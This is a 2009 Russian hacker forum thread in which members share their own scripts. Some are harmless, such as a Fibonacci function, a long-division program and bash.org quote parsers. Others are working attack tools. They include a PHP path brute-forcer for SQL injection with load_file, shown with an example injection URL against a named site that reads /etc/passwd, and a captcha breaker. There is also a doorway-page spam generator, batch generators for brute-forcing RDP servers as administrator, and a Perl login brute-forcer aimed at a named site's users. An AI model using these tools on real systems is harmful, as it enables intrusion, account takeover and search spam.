Задание: хранимая функция MySQL для чисел фибоначи.
SELECT FIBONACHI(5);



delimiter $$
create function fibonacci(n INT)
returns int
BEGIN
declare fib int;
declare x int;
declare y int;
set x = 0;
set y = 1;
set fib = 0;
while n > 0 do
set x = y;
set y = fib;
set fib = x + y;
set n = n - 1;
end while;
return (fib);
end$$
delimiter ;
select fibonacci(5);



Задача: Написать программу выполняющее деления одного числа на другое столбиком (как в младших классах школы)
Вывод: результат, остаток

Изменил скрипт

<?php
$input = file('input.txt');
$output = fopen('output.txt', 'w');
foreach ($input as $lines => $line)
{
list($num1,$num2) = explode(" ", $line);
if ( $num2 == 0)
{
fwrite($output, "Division by 0\n");
}
else
{
$result = floor($num1 / $num2);
$result1 = $num1 % $num2;
fwrite($output, $result . " " . $result1 . "\n");
}
}
?>

Ru}{eeZ
29.01.2009, 18:52
Парсер (граббер) bash.org.ru


<?php
$page = file_get_contents('http://bash.org.ru/');
preg_match_all('|<div>(.+)</div>|',$page,$result);
echo $result[1][rand(0,9)];
?>

Iceangel_
29.01.2009, 22:55
Написал брутер путей в инъекциях при file_priv=on, может кому-нибудь пригодится...
http://forum.antichat.ru/thread49775.html -- здесь можно собрать неплохой словарик для скрипта

<form action="" medhod="get">
Injection:<input type="text" size= name="host"><br>
<input type="submit" value="Send">
</form>

<?php
/* В поле "Injection" требуется ввести строку с подобранным количеством полей
и в принтабельном поле ввести <file> ;
=Пример=
имеется инъекция, с возможностью чтения файлов:
http://www.jfanow.org/jfanow/index.php?mode=P&id=-2913+union+select+1,load_file('/etc/passwd'),3,4,5,6,7/*
Следовательно, в форму нужно добавить:
http://www.jfanow.org/jfanow/index.php?mode=P&id=-2913+union+select+1,<file>,3,4,5,6,7/*
P.S.
#=Gr3tzz to Grey =#
#Coded by IceAngel_# */
set_time_limit(0);
$dic = file("words.txt"); //словарь с путями
if (isset($_GET['host'])){
foreach ($dic as $patch ){
$patch = str_replace("\n", "", trim($patch));
$test = str_replace("<file>", "if(load_file(0x".bin2hex($patch).")+is+null,null,3705)", $host);
$s = file_get_contents($test);
if (strpos($s,'3705'))
{ echo $patch."<br>";}}}
?>

procedure
03.02.2009, 05:32
В gmailé нашел, фишечку, mail.google.com/mail/feed/atom - вроде как авторизироватся можно сколько влезит. мб, кому полезно будет.

faza02
04.02.2009, 20:53
#!/usr/bin/env python
# by faza02
# antichat.ru
import md5, urllib, base64, sha
print 'fc0d3r by faza02\n sql.parsers.info'

while 1:
ena=raw_input(u'lin3: ')
print 'sha-1: ' + sha.new(ena).hexdigest()
print 'hex: 0x' + base64.binascii.hexlify(ena)
print 'base64: ' + base64.binascii.b2a_base64(ena)
print 'md5: ' + md5.new(ena).hexdigest()
print 'url: ' + urllib.quote(ena)
for i in range(len(ena)):
print str(ord(ena[i]))+',',
try: print '\nunhex: ' + base64.binascii.unhexlify(ena)
except: print 'unhex: n0 d3c0ded..'
try: print 'unbase64: ' + base64.binascii.a2b_base64(ena)
except: print 'unbase64: n0 d3c0ded..'
try: print 'unurl: ' + urllib.unquote(ena)
except: print 'unurl: n0 d3c0ded..'
:o

fatalo
06.02.2009, 10:30
Мое первое творение.Критика приветствуется
Парсер башорга с указанием кол-ва цитат + приятный диз :)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Bash.Org.Ru Reader</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" href="includes/modalbox.css" type="text/css" media="screen" />
<style type="text/css">body, input, select {font-family : Arial, sans-serif;}

input, select, textarea {
background: #C0FF82;
border: 1px dotted Green;
color: Black;
margin-bottom: 5px;
}

form {
border: 1px dotted Green;
color: Black;
padding-left: 5px;
padding-top: 3px;
margin-bottom: 3px;
}

body {
background-color: #FEFF68;
margin: 0px;
padding: 2px;
color: Black;
font-size: small;
}

img {vertical-align: bottom;}
a {
color: Blue;
}
a:hover {color: Blue;}
a:link {color: Blue;}
a:visited {color: Blue;}
a:active {
color: Blue;
}
h3 {
margin: 3px;
}

div.head {
background-color: #C0FF82;
border: thin dashed Green;
text-align: center;
padding: 5px;
margin-bottom: 2px;
}

div.title {
background-color: #C0FF82;
border: thin dashed Green;
text-align: left;
padding: 3px;
margin-bottom: 2px;
}

div.body {
text-align: center;
padding-bottom: 5px;
}

div.bodyleft {
text-align: left;
padding-bottom: 5px;
}

div.body_t {
border-left: thin dashed Green;
border-right: thin dashed Green;
border-top: thin dashed Green;
margin-top: 5px;
margin-bottom: 2px;
}

div.body_h {
text-align: center;
background-color: #C0FF82;
padding: 3px 3px 3px 3px;
}

div.privat_from {
background-color: #9ACD34;
color: Black;
}

div.privat_to {
background-color: #D98D00;
color: Black;
}

div.foot {
background-color: Green;
text-align: center;
font-size: 10px;
}

span.foot {
background-color: Green;
color: Yellow;
}

a.priv {
color: Black;
}</style></head> <body>

<?php
error_reporting(0);

$action=$_POST['action'] ;
$action=ereg_replace("[^0-9]", "60", $action);
if ($action>51)
{ echo "Не корректно<br>
<form method='post' action=''>
<INPUT TYPE='submit' VALUE='Ввести еще раз'>
<input type='hidden' name='lol' value='false'>
</form><br><br>";break; }

if ($_POST['lol']=='true'){


echo "<form method='post' action=''>
<INPUT TYPE='submit' VALUE='Новое значение'>
<input type='hidden' name='lol' value='false'></form><br><br>";
$page = file_get_contents('http://bash.org.ru/');
preg_match_all('|<div>(.+)</div>|',$page,$result);
for($i=0;$i<$action;$i++){
if (($i<>10)) {


echo "<font color=black>".$result[1][$i]."</font><br><br><div class='title' id='6689'></div><br>";}

}

echo "<form method='post' action=''>
<INPUT TYPE='submit' VALUE='Новое значение'>
<input type='hidden' name='lol' value='false'></form><br>";


}
else { echo "Введите количество первых цитат на странице <b>(от 1 до 51)</b> <br>
<form method='post' action=''>
<input type='text' name='action' value='' size=2>
<INPUT TYPE='submit' VALUE='Передать'>
<input type='hidden' name='lol' value='true' > </form>";}
echo "(с) <b><a href='http://forum.antichat.ru/member.php?u=56330'>fatalo</a href></b>";

?>
</div>
</form>
</div>
<div>
</div>
</body>
</html>

mr.The
06.02.2009, 20:47
<?php
/**
* Name: Simple reCaptcha
* Author: mr.The
* Icq: 11889888
* Jabber: mr.The@jabber.org
* Description: Функция распознавания примитивной цифровой капчи(Раньше такая была на beesms.beeline.ua). Таблица соответствий составлена для него. можно попробовать изменить на другуй примитивную капчу. Удачи.
* Use: В качестве параметра функция принимает адрес к капче.
**/

function get_captcha($name){
$chars=array( // chr array
"00000000111100000000000000011111100000000000001100 00110000000000011000000110000000000110000001100000 00000011000011000000000000011111100000000000000011 1100000000" => "0",
"00000011000000100000000001111111111000000000011111 1111100000" => "1",
"00000011000001100000000001100000111000000000010000 01101000000000010000110010000000000110011000100000 0000001111000010000000000001100000100000" => "2",
"00000100010000100000000001000100001000000000011011 10011000000000001110111100000000000001000110000000" => "3",
"00000000011100000000000000001101000000000000000110 01000000000000001100010000000000000111111111100000 00000111111111100000" => "4",
"00000111110010000000000001111100110000000000010001 00011000000000010010000010000000000100100000100000 00000100110001100000000001000111110000000000000000 1110000000" => "5",
"00000001111110000000000000111111110000000000011000 10011000000000010001000010000000000100010000100000 0000011001100110000000000011001111000000" => "6",
"00000100000001100000000001000000111000000000010000 01100000000000010000110000000000000100011000000000 00000100110000000000000001111000000000000000011100 0000000000" => "7",
"00000001000110000000000000111011110000000000011011 10011000000000010001000010000000000100010000100000 00000110111001100000000000111011110000000000000100 0110000000" => "8",
"00000011110011000000000001100110011000000000010000 10001000000000010000100010000000000110010001100000 0000001111111100000000000001111110000000" => "9");


$image=ImageCreateFromJpeg($name);

$K=100; // коэф. черного цвета.

$x_max=50; //размер картинки
$y_max=20; //размер картинки
$char_num=0;
$column_num=0;
for($x=0;$x<$x_max;$x++){
$sum=0;
$str="";
for($y=0;$y<$y_max;$y++){
//if($y==0) echo "<br>";

$color=imagecolorsforindex($image, imagecolorat($image, $x, $y));
if($color['red']<=$K and $color['green']<=$K and $color['blue']<=$K) { // вычислям черный или нет. 1 или 0 соответственно.
$str.="1";
$sum++;
} else {
$str.="0";
}

};
if($sum>2) {
@$char[$char_num].=$str;
$column_num++;
} else {
$char_num++;
$column_num=0;
};

};

foreach($char as $key => $value){
if(strlen($value)<60) unset($char[$key]);
};


$capcha="";
foreach($char as $key){

if(isset($chars[$key])) $capcha.=$chars[$key]; else $capcha.="X"; // если не распознали символ, то X.
}

return trim($capcha);

ImageDestroy($image);
}
?>
кагбэ вот. выложил за неактуальностью. можно попробовать переделать под аналогичную капчу, либо найти такую-же. Распознавал капчи вида http://i.piccy.info/i3/99/e6/2ed80f8f6e3e5ef8ebe4e2364fe6.jpeg со 100% вероятностью.

ЗЫ. пробелов в таблице соответствий НЕТ.
ЗЫЫ. по просьбам трудящихся: линк (http://mrthe.name/trash/reCaptcha.rar)

art2222
07.02.2009, 18:39
Функция возвращает строку с выделенными ссылками.
Т.е. передаем: Зайдите на сайт www.site.ru
Возвращает: Зайдите на сайт <a href="http://www.site.ru">www.site.ru</a>

function light_urls($document)
{
return preg_replace("/(http:\\/\\/|www.)(\\S+)/si",
"<a href=\"http://\\2\">\\2</a>",
$document);
}

ЗЫ может кому пригодится.

fatalo
07.02.2009, 18:48
Симулятор кидания костей.Показывает количество выпавших комбинаций,количество киданий и сумму всех выпавших чисел(switch case не использовал по определённым причинам)
<b><font color="red">Симулятор кидания костей</font></B>
<?
for
($i=1;$i<=20000;$i++)
{
$z=rand(1,6);
$c=rand(1,6);
$m=$z+$c;
$y=$y+$m;


if ($m==2)
{ $w2=$w2+1;}
if ($m==3)
{ $w3=$w3+1;}
if ($m==4)
{ $w4=$w4+1;}
if ($m==5)
{ $w5=$w5+1;}
if ($m==6)
{ $w6=$w6+1;}
if ($m==7)
{ $w7=$w7+1;}
if ($m==8)
{ $w8=$w8+1;}
if ($m==9)
{ $w9=$w9+1;}
if ($m==10)
{ $w10=$w10+1;}
if ($m==11)
{ $w11=$w11+1;}
if ($m==12)
{ $w12=$w12+1;}

}

echo "<br><b>2</b>: ".$w2."<br>";echo "<b>3</b>: ".$w3."<br>";echo "<b>4</b>: ".$w4."<br>";echo "<b>5</b>: ".$w5."<br>";echo "<b>6</b>: ".$w6."<br>";echo "<b>7</b>: ".$w7."<br>";echo "<b>8</b>: ".$w8."<br>";echo "<b>9</b>: ".$w9."<br>";echo "<b>10</b>: ".$w10."<br>";echo "<b>11</b>: ".$w11."<br>";echo "<b>12</b>: ".$w12."<br>";
echo "<b>Количество бросков:</b> ".$i."<br>";
echo "<b>Общая сумма:</b> ".$y;

?>
<br><font color="gray">Показывает количество выпавших комбинаций,количество киданий и сумму всех выпавших чисел
<br>by <b><a href='http://forum.antichat.ru/member.php?userid=56330'>fatalo</a href></b></font>
ВСЕ коментарии приветствуются!

rushter
07.02.2009, 18:49
2 art2222
Быстрее и удобнее будет писать <a href="http://www.site.ru">www.site.ru</a> без всякого php,зачем лишние нагрузки ?

Ru}{eeZ
08.02.2009, 00:18
RCounter 1.3
Графический счётчик на сайт.

Требуется:
- PHP
- GD2

В архиве:
counter.php - сама программа (ссылаться как на картинку)
counter.txt - база данных (дата, хиты, хосты, ипы...)
cImg_1.png - фоновый рисунок
cImg_2.png - второй фоновый рисунок
cImg_1.psd - PSD файл фонового рисунка

База данных вида:

182:13:08.02.09:237:28
212.3.144.173
94.179.98.182
81.25.36.188
89.250.2.150
93.189.204.67
89.105.226.15
79.172.28.66
80.81.223.50
93.100.248.127
213.231.37.30
87.228.83.23
92.100.6.99
212.3.144.54


Первая строка содержит Хиты_за_день:Хосты_за_день:С егодняшнюю_дату:Все_хиты:Вс е_хосты

Последующие строки содержат IP адреса зашедших за сегодняшний день.

http://develop.clubweb.ru/counter/counter.php (http://develop.clubweb.ru)

Качнуть (http://develop.clubweb.ru/counter/counter_1.3.rar)

De-visible
09.02.2009, 02:13
Парсер башорга, приятный вывод в файл, глаза не режет...

# -*- coding: cp1251 -*-
#BashOrg Parser
#c0ded By De-v aka De-visible
#http://forum.devisible.ru
#http://forum.antichat.ru
#HomePage: http://devisible.ru/wordpress/?p=109

import urllib,re,time


page="300" #Страница которую парсить...
URLtext=urllib.urlopen("http://bash.org.ru/index/"+page)
txt=URLtext.read()
txt_=re.findall(r"<div>(.*?)<\/div>",txt.decode('cp1251'))
f=open("Bash.htm","a")
f.write('<html><body bgcolor="#666666" text=\"#D2D2D2\">')
for g in xrange(len(txt_)):
f.write('\n<br>'+'<div align="center">\
<table border="1" width="100%" cellspacing="1" id="table1">\
<tr>\
<td bordercolor="#C0C0C0"><br>\
<code><blockquote><p>'+txt_[g].encode('cp1251')+'</p></blockquote><br>\
&nbsp;</code></td>\
</tr>\
</table>\
</div>'+'<br><br>\n')
f.write('</body>\n</html>\n')
f.close
print u"Готово"
while 1:
time.sleep(5)


+ в аттаче...

http://devisible.ru/wordpress/?p=109
http://forum.devisible.ru

KATYA
10.02.2009, 08:48
Простенький генератор дорвеев. Создаёте две папки out и tpl, в первой будут сгенерированные страницы, а в tpl должен лежать шаблон генерируемой страницы. Скрипт работает и с русскими ключевыми словами.

index.php
<?php if ($_POST['generate']) { generate(); }else { main_form(); } function generate() { $p=array(); if ($_POST['tpl'] && $_POST['keywords']) { $_POST['keywords']=ereg_replace("(\r\n|\r)","\n",$_POST['keywords']); $keys=explode("\n",trim($_POST['keywords'])); /* create pages array */ for($i=0;$i<intval($_POST['count']);$i++) { list($k,$v)=each($keys); if (!$v) { reset($keys); list($k,$v)=each($keys); } if (in_array(trim($v),$p)) { $v=trim($v).'_'.$i; } $p[]=trim($v); } /* prepare template */ $tpl=implode('',file('./tpl/'.$_POST['tpl'])); /* generate links */ $z=1; reset($p); while(list($k,$v)=each($p)) { $name=str_replace(' ','_',$v); $l.='<a href="'.trim($z++).'.html">'.trim($v).'</a> '; } /* generate pages */ reset($p); while(list($k,$v)=each($p)) { $k++; $name=trim($k++); $tpl_out=str_replace('{TITLE}',$v,$tpl); $tpl_out=str_replace('{KEYWORDS}',ereg_replace("(\r\n|\n|\r)","",implode(', ',$keys)),$tpl_out); $tpl_out=str_replace('{DESC}',ereg_replace("(\r\n|\n|\r)","",implode(' ',$keys)),$tpl_out); $tpl_out=str_replace('{LINK}',$l,$tpl_out); $tpl_out=str_replace('{I}',$k,$tpl_out); $tpl_out=str_replace('{ENTER}',trim($_POST['enter']),$tpl_out); $fp=fopen('./out/'.$name.'.html','w'); fwrite($fp,$tpl_out); fclose($fp); print 'pages created -> '.$name.'.html<br>'; flush(); } print '<font size=7 color="#FF0000">Захуярено!</font>'; }else { print 'Блядь! Шаблон и слова где ****? <br>'; } } function main_form() { ?> <table width="400" border="0" cellspacing="2" cellpadding="0" align="center"> <form action="" method="post"> <tr> <td>Стараниц стока:</td> <td><input type="text" name="count" size="5" maxlength="5" value="5"></td> </tr> <tr> <td><br>Вот шаблон:<br><br><br></td> <?php $a=array(); if ($handle = opendir('./tpl')) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != ".." && is_file('./tpl/'.$file)) { $a[]=$file; } } closedir($handle); } ?> <td><select name="tpl"> <?php while(list($k,$v)=each($a)) {?> <option value="<?php print $v;?>"><?php print $v;?></option> <?php } ?> </select> </td> </tr> <tr> <td><br>Куда потом:<br><br><br></td> <td><input type="text" name="enter" size="40" value="http://"></td> </tr> <tr> <td>Ключевые словишки:</td> <td><br> <textarea cols="30" rows="10" name="keywords"> слово слово 2 и так далее </textarea> </td> </tr> <tr><td colspan="2"><input type="submit" name="generate" value="Захуярить!"></td></tr> </form> </table> <?php } ?>

tpl.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN"> <html> <head> <title>{TITLE}</title> <meta http-equiv="KEYWORDS" content="{KEYWORDS}"> <meta http-equiv="DESCRIPTION" content="{DESC}"> </head> <body> <br> <br> <br> <div align="center"><a href="{ENTER}">ENTER</a></div> <br> <br> <br> <div align="center">{LINK}</div> </body> </html>

Разумеется index.php должен лежать в корне.

-=Static=-
12.02.2009, 16:02
<?php
/**
* Ф-ция выполняющая деления одного числа на другое столбиком (как в младших классах школы)
* Диапазон допустимых значений: Только положительные числа длинной от 1 до 100 символов.
*
* $a - Делимое
* $b - Делитель
*
* Возвращаемый результат: array(int Результат, int Остаток)
*
* Коды ошибок:
* -1 = Делимое не попадает в допустимый диапазон
* -2 = Делитель не попадает в допустимый диапазон
* -3 = Делитель больше делимого
* -4 = Делитель <= 0
* -5 = Делимое <= 0
*/

function columnDivision($a, $b)
{
$a = strval($a);
$b = strval($b);
$aLen = strlen($a);
$bLen = strlen($b);

if ($aLen < 1 || $aLen > 100) return -1;
if ($bLen < 1 || $bLen > 100) return -2;
if ($b > $a) return -3;
if ($b <= 0) return -4;
if ($a <= 0) return -5;



$rest = substr($a, 0, $bLen);
$result = "";

for($i = $bLen; $i <= $aLen; $i++) {
$j = 0;
while($rest >= $b) {
$j++;
$rest -= $b;
}
$result .= $j;
if (isset($a[$i])) $rest .= $a[$i];
}

return array(intval($result), intval($rest));
}

if (file_exists("input.txt")) {
$bufer = file_get_contents("input.txt");
$arInput = explode(" ", $bufer);
$arResult = columnDivision(intval($arInput[0]), intval($arInput[1]));
file_put_contents("output.txt", implode(" ", $arResult));
echo 'Division is complite. Result write in file <b>output.txt</b>';
} else {
echo 'No input file. <b>:(</b>';
}

Gaus
12.02.2009, 21:37
Скрипт грабит HTTP прокси с первых 3-х страниц сайта samair.ru

<?
for($i=1;$i<3;$i++){
$file = file_get_contents('http://www.samair.ru/proxy/proxy-0'.$i.'.htm') ;
preg_match_all('#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:[0-9]{1,5}#', $file, $out);

foreach($out[0] as $line)
{
print $line."<br>";
}
}
?>

Pashkela
12.02.2009, 21:56
ыыыыы, а так?


<Pre>
<?
@set_time_limit(0);
@ini_set("display_errors","1");

$kol = 1; // Кол-во страниц
if ($kol<10) $kol="0$kol";
While ($i<=$kol) {
$i++;

$file = file_get_contents('http://www.samair.ru/proxy/proxy-' .$kol. '.htm') ;
preg_match_all('/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\:[0-9]+)/is', $file, $out);
foreach($out[0] as $line)
{
echo "$line\n";
}
}
?>
</pre>

Gaus
12.02.2009, 22:46
Pashkela я новичок в коддинге ;)
Можно в принципе и так,но скорость работы же не увеличивается...

Pashkela
12.02.2009, 23:08
Да нет, всё нормально, просто тут продвинутый сайт бол-мен, по этому принято обычно выкладывать действительно полезные скрипты, а не какие-то свои первые наработки. Без обид.

Gaus
12.02.2009, 23:14
Вот еще только что написал один граббер для имхо хорошоге сайта с проксями(ProxyFire.net)
<?
//c0ded by Gaus//
echo "<b>HTTP elite</b><br>";
$file = file_get_contents('http://www.proxyfire.net/index.php?pageid=eliteproxylist') ;
preg_match_all('/<tr ><td>(.*?)\⃧\;<\/td><td>(.*?)<\/td><td>/', $file, $out);

foreach($out[0] as $line)
{
list($ip,$port) = explode("⃧", rtrim($line));
print $ip.":".$port."<br>";
}
echo "<b>HTTP anon.</b><br>";
$file = file_get_contents('http://www.proxyfire.net/index.php?pageid=anonymousproxylist') ;
preg_match_all('/<tr ><td>(.*?)\⃧\;<\/td><td>(.*?)<\/td><td>/', $file, $out);

foreach($out[0] as $line)
{
list($ip,$port) = explode("⃧", rtrim($line));
print $ip.":".$port."<br>";
}
?>

Gaus
12.02.2009, 23:33
Граббер SOCKS с ProxyFire.net

<?
//c0ded by Gaus//
echo "<b>SOCKS4</b><br>";
$file = file_get_contents('http://www.proxyfire.net/index.php?pageid=socks4proxylist') ;
preg_match_all('/<tr ><td>(.*?)\⃧\;<\/td><td>(.*?)<\/td><td>/', $file, $out);

foreach($out[0] as $line)
{
list($ip,$port) = explode("⃧", rtrim($line));
print $ip.":".$port."<br>";
}
echo "<b>SOCKS5</b><br>";
$file = file_get_contents('http://www.proxyfire.net/index.php?pageid=socks5proxylist') ;
preg_match_all('/<tr ><td>(.*?)\⃧\;<\/td><td>(.*?)<\/td><td>/', $file, $out);

foreach($out[0] as $line)
{
list($ip,$port) = explode("⃧", rtrim($line));
print $ip.":".$port."<br>";
}
?>

eLWAux
12.02.2009, 23:45
универсальний граббер ір'шек.
(можно использовать для граббинга прокси/сокси/..)

@proxy_serv - масив с сайтами. можна добавить и свой)

perl:
use IO::Socket;

# eLwaux
# iCQ 7434214
print q[
proxy grabber
..eLwaux(c)2009
]."\n";

#=-=-=-=--==-====--=-======-=-=-=-==-====-=-==-=--==-==-=-=-=-==-=-=-=-=-==-=-

my $print_proxy = 0;
my $result_file = 'proxy.txt';
my @proxy_serv = (
'http://http.proxylife.org/index.php?sort=down_speed&sortby=desc',
'http://www.samair.ru/proxy/index.html',
'http://proxy.asechka.ru/index.php?page=proxylist',
'http://madnet.name/tools/proxy/index.php');

#=-=-=-=--==-====--=-======-=-=-=-==-====-=-==-=--==-==-=-=-=-==-=-=-=-=-==-=-

my $all_pr = 0;

foreach my $proxy_s(@proxy_serv) {
my ($host) = ($proxy_s=~'http://([\w\.]+)/.*');
print ' -- '.$host."\n";

$re = POST($proxy_s);

@ips = split(/\n/,ip_parce($re));
$all_pr+=scalar(@ips);

foreach my $ip(@ips){
print ' '.$ip."\n" if ($print_proxy==1);
s2f($result_file,$ip."\n");
}

print ' get '.scalar(@ips)." proxy\n\n";
}

print ' get: '.$all_pr.' proxy';

<stdin>;
exit;

#=-=-=-=--==-====--=-======-=-=-=-==-====-=-==-=--==-==-=-=-=-==-=-=-=-=-==-=-

sub ip_parce { #list
my $result;
my $ips = $_[0];
while ($ips=~/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):{0,}(\d{1,5}) {0,}/) {
my ($ip,$port)=($1,$2);
$port = '8080' if ($port eq '');
$result.="$ip:$port\n";
substr($ips,0,index($ips,$ip)+length($ip))='';
}
return $result;
}

sub POST {#url
my $url = $_[0];
if ($url =~ 'http://([\w\.]+)/.*') {$host=$1};

$header = "POST ".$url." HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"Content-Length: 0\r\n\r\n".
"\r\n\r\n";
my $sock = sock($host);
print $sock $header;
while (my $a = <$sock>) {if($a=~/<.html>/){last;} else {$answ.=$a;}}
#sysread($sock,$answ,100000);
close($sock);

return $answ;
}

# create socket
sub sock {#host
my $sock;
do {
$sock = new IO::Socket::INET
( PeerAddr => $_[0],
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10);
} while (!$sock);
return $sock;
}

# save file
sub s2f {# filename, text
open(FILE, '>>'.$_[0]);
flock(FILE, LOCK_EX);#lock file
print FILE $_[1];
flock(FILE, LOCK_UN);#unlock file
close(FILE);
}

# read file
sub r2f { #filename
open(DESC, $_[0]);
read(DESC,my $result,-s $_[0]);
close(DESC);
return $result;
}

eLWAux
12.02.2009, 23:51
моя маленькая утилита для брута дедов.
на входе 3389.txt
на виходе "! VNC.bat".

в скрипте можно изменить:
$VNC = 'программа';
$port = 'порт';
$thread = 'потоков';

в результате будет создан файл $VNC с содержимим:
$VNC -i 1.2.3.4-5.6.7.8 -p $port -cT -T $thread
пример:
VNC.exe -i 195.79.127.104-195.79.127.111 -p 3389 -cT -T 2000

use Fcntl ':flock';

$VNC = 'VNC.exe';
$port = '3389';
$thread = '2000';

my $m = '';
open myFILE, "<3389.txt" or die $!;
while (<myFILE>) {
@c = split(/\s/,$_);
$m = $VNC.' -i '.@c[0].'-'.@c[1].' -p '.$port.' -cT -T '.$thread;

open(FILE, '>>! VNC.bat') || die(" [-] could not save file!\n");
flock(FILE, LOCK_EX);
print FILE $m."\n";
flock(FILE, LOCK_UN);
close(FILE);

}
close myFILE;

eLWAux
12.02.2009, 23:56
после брута ір с помощью VNC.exe прога создает VNC_bypauth.txt, в котором много нужних вам ір вида "195.80.10.131 :3389 ".

етот скрипт витягивает из VNC_bypauth.txt ір, и формирует готовий .bat файл для брута дедов "! GO.bat" tss-brute'ом.

в скрипте изменяем:
$tss = 'полний путь до tss-brute';
$pass = 'полний путь до словаря с паролями';
$fold = 'папка для врем файлов//';
$port = ':порт';
$file = 'VNC_bypauth.txt';

в результате будет что-то типа:
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.10.131 >>res//195.80.10.131
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.10.107 >>res//195.80.10.107
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.11.26 >>res//195.80.11.26
"D:\Sorted\ded\4\tss-brute.exe" -w "D:\Sorted\ded\4\pass.txt"-u administrator 195.80.13.243 >>res//195.80.13.243

#eLwaux
use Fcntl ':flock';

$tss = 'D:\Sorted\ded\4\tss-brute.exe';
$pass = 'D:\Sorted\ded\4\pass.txt';
$fold = 'res//';
$port = ':3389';
$file = 'VNC_bypauth.txt';

my $m = '';

open(DESC, $file);
read(DESC,$res,-s $file);
close(DESC);

while ($res ne '') {
if ($res=~/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+$port/){
($ip)=$1;
print $ip."\n";
open(FILE, '>>! GO.bat') || die(" [-] could not save file!\n");
flock(FILE, LOCK_EX);
print FILE '"'.$tss.'" -w "'.$pass.'"-u administrator '.$ip.' >>'.$fold.$ip."\n";
flock(FILE, LOCK_UN);
close(FILE);
$res = substr($res, index($res,$ip)+length($ip), length($res));
} else {$res='';}
}
#eLwaux

eLWAux
12.02.2009, 23:58
PR, тиЦ чекер на perl'e через сайт www.pr-cy.ru

pr-tic.pl сервер
сервер по умолчанию - google.com

#! /usr/bin/perl -eLwaux

use IO::Socket;
use warnings;

my $site = $ARGV[0] || 'google.com';


$header = "POST http://www.pr-cy.ru/analysis/?url=".$site." HTTP/1.1\r\n".
"Host: pr-cy.ru\r\n".
"User-Agent: eL!\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Connection: Close\r\n".
"Content-Length: 0\r\n\r\n".
"\r\n\r\n";

my $sock = sock();
print $sock $header;

#my $answ = '';
#my $answer = '';
#while($answer = <$sock>){$answ .= $answer;}
read($sock,my $answ,100000);


print cyr("\n ".$site."\n\n");

# заголовок
if (($answ)=~/<b class="grey">Заголовок:<\/b>(.*)<br \/>/) {
print cyr(' Заголовок: '.$1."\n")
}

# ip
if (($answ)=~/<b class="grey">IP:<\/b> (\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\s+/) {
print cyr(' IP: '."$1.$2.$3.$4"."\n")
}


# тиЦ
if (($answ)=~/Яндекс тИЦ<\/td>[\s|\t]+<td width="25%" align="right" bgcolor="#eef2f5">(.*)<\/td>/) {
print cyr(' тИЦ : '.$1."\n");
}

# PR
if (($answ)=~/PageRank<\/td>[\s|\t|\n]+<td width="25%" align="right" bgcolor="#eef2f5">(.*)<\/td>/) {
print cyr(' PageRank : '.$1."\n");
}

<stdin>;
exit;


close($sock);
<stdin>;


#create new socket connection
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => 'pr-cy.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print "[-] connection error!";
} while (!$sock);
return $sock;
}


sub cyr {
$phrase = shift;
$phrase =~ y/А-яЁё/\x80-\xaf\xe0-\xf1/;
return $phrase;
}


#================================================= ============================
#================================================= ============================

eLWAux
13.02.2009, 00:04
месяц назад многие из "болталки" просили инвайт на upyachka.ru.
вот мой брутер

пароли в pass.txt кладем

perl:
#================================================= ============================
#================================================= ============================

use IO::Socket;

sub up{#num
$header = "POST http://upyachka.ru/".$i."/ HTTP/1.1\r\n".
"Host: upyachka.ru\r\n".
"User-Agent: upyachka\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Connection: Close\r\n".
"Content-Length: 0\r\n\r\n".
"\r\n\r\n";

my $sock = sock();
print $sock $header;

my $res = '';
my $answer = '';
while($answer = <$sock>){$res .= $answer;}

close($sock);
return $res;
}



sub login{#name,pass
my $post = 'login='.$_[0].'&pass='.$_[1].'&submit=Йаррр!';
my $header = "POST http://upyachka.ru/".$i."/ HTTP/1.1\r\n".
"Host: upyachka.ru\r\n".
"User-Agent: upyachka\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Connection: Close\r\n".
"Content-Length: ".length($post)."\r\n\r\n".
"$post\r\n\r\n";

my $sock = sock();
print $sock $header;

my $res = '';
my $answer = '';
while($answer = <$sock>){$res .= $answer;}
if ($res =~ /<input name=.login. type=.text. value=..><br>/) {print '-'.cyr($_[0]).':'.cyr($_[1])."\n";} else
{print '+++++++'.cyr($_[0]).':'.cyr($_[1])."\n";}
close($sock);
return $res;
}



my @u;

for ($i=1;$i<15;$i++){
print $i."...\n";
$res = up($i);
while(length($res)>1) {
$b = 0;

$res =~ /<SPAN class=.user.logout. noinfo=.true.>(\W+|\w+)<\/SPAN> написал/;
$res=substr($res,index($res,$1.'</SPAN> нап')+length($1.'</SPAN> нап'),length($res));

foreach my $xx(@u) {if ($xx eq $1) {$b=1;} else {$b=0;}}
@u[scalar(@u)]=$1 if ($b==0);
}
}


print 'getted: '.scalar(@u).' names..'."\n";
print "brute:\n";

##brute

open (FILE, '<pass.txt');
my @pass : shared = <FILE>;
chomp(@pass);
close(FILE);

foreach my $xx(@u) {
foreach my $ps(@pass){
login($xx,$ps);
}
login($xx,$xx);
}




<stdin>;

#================================================= ============================
#================================================= ============================


#create new socket connection
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => 'upyachka.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print "[-] connection error!";
} while (!$sock);
return $sock;
}


